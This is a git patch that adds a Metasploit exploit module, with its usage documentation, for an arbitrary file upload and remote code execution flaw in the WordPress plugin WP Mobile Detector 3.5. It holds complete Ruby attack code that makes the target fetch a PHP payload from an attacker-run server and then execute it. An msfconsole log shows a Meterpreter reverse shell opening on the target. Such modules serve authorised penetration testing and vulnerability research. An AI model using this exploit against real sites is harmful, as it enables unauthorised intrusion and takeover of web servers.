From cfd7761818ded3e388328037817ecc87e3cbe653 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 20 Oct 2017 23:19:58 -0400 Subject: [PATCH] wp_mobile_detector rce --- .../wp_mobile_detector_upload_execute.md | 63 ++++++++++ .../wp_mobile_detector_upload_execute.rb | 118 ++++++++++++++++++ 2 files changed, 181 insertions(+) create mode 100644 documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md create mode 100644 modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb diff --git a/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md b/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md new file mode 100644 index 0000000000..5443e074ee --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md @@ -0,0 +1,63 @@ +## Vulnerable Application + + wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability + was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then + the file can be executed by the client. + + Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip) + from Exploit-db since wordpress removed it. + + Due to its age, it may be difficult to install. The install for the scenario later is: + + * Ubuntu 16.04.2 + * Apache 2.4.18 + * PHP 7 + * Wordpress 4.4.2 + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute``` + 4. Do: ```set rhost [ip]``` + 5. Do: ```set lhost [ip]``` + 6. Do: ```set srvhost [ip]``` + 7. Do: ```exploit``` + 8. You should get a shell. + +## Scenarios + +### wp-mobile-detector 3.5 on Wordpress 4.4.2 + + ``` + msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute + msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2 + rhost => 2.2.2.2 + msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/ + TARGETURI => /wordpress/ + msf exploit(wp_mobile_detector_upload_execute) > check + [*] 2.2.2.2:80 The target appears to be vulnerable. + msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1 + lhost => 1.1.1.1 + msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1 + srvhost => 1.1.1.1 + msf exploit(wp_mobile_detector_upload_execute) > exploit + [*] Exploit running as background job 2. + + [*] Started reverse TCP handler on 1.1.1.1:4444 + msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server + [*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php + [*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php + [+] Payload requested on server, sending + [+] Sleeping 5 seconds for payload upload + [*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php + [*] Sending stage (37514 bytes) to 2.2.2.2 + [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400 + [+] Deleted ZWTgqwsiFL.php + [*] Server stopped. + ``` + diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb new file mode 100644 index 0000000000..ae2f4fa7ad --- /dev/null +++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload', + 'Description' => %q{ + WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker + to execute arbitrary PHP code. This flaw exists because the + /wp-content/plugins/wp-mobile-detector/resize.php script does contains a + remote file include for files not cached by the system already. + By uploading a .php file, the remote system will + place the file in a user-accessible path. Making a direct request to the + uploaded file will allow the attacker to execute the script with the privileges + of the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'pluginvulnerabilities.com', # Vulnerability disclosure + 'Aaditya Purani', # EDB module discovered after writing module + 'h00die' # Metasploit module + ], + 'References' => + [ + ['WPVDB', '8505'], + ['EDB', '39891'], + ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'] + ], + 'DisclosureDate' => 'May 31 2016', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['wp-mobile-detectory < 3.6', {}]], + 'DefaultTarget' => 0 + )) + end + + def check + check_plugin_version_from_readme('wp-mobile-detector', '3.5') + end + + def exploit + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from rhost') + end + payload_name = rand_text_alphanumeric(10) + '.php' + + # First check to see if the file is written already, if it is cache wont retrieve it from us + res = send_request_cgi( + 'global' => true, + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/' + ) + if res and !res.body.include?(payload_name) + vprint_status("#{payload_name} verified as not written.") + else + fail_with(Failure::BadConfig,"#{payload_name} already written on system.") + end + + def on_request_uri(cli, _request) + print_good('Payload requested on server, sending') + send_response(cli, payload.encoded, {}) + end + + print_status('Starting Payload Server') + payload_url = '/' + payload_name + start_service('Uri' => { + 'Path' => payload_url, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end + }) + + payload_full_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + payload_url + print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{payload_full_url}") + + res = send_request_cgi( + 'global' => true, + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'), + 'vars_get' => {'src' => payload_full_url} + ) + + if res && res.code == 200 + print_good('Sleeping 5 seconds for payload upload') + register_files_for_cleanup(payload_name) + + select(nil,nil,nil,5) + + print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}") + send_request_cgi( + { + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name), + }) + # wait for callback, without this we exit too fast and miss our shell + select(nil,nil,nil,2) + handler + else + if res.nil? + fail_with(Failure::Unreachable, 'No response from the target') + else + vprint_error("HTTP Status: #{res.code}") + vprint_error("Server returned: #{res.body}") + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') + end + end + end +end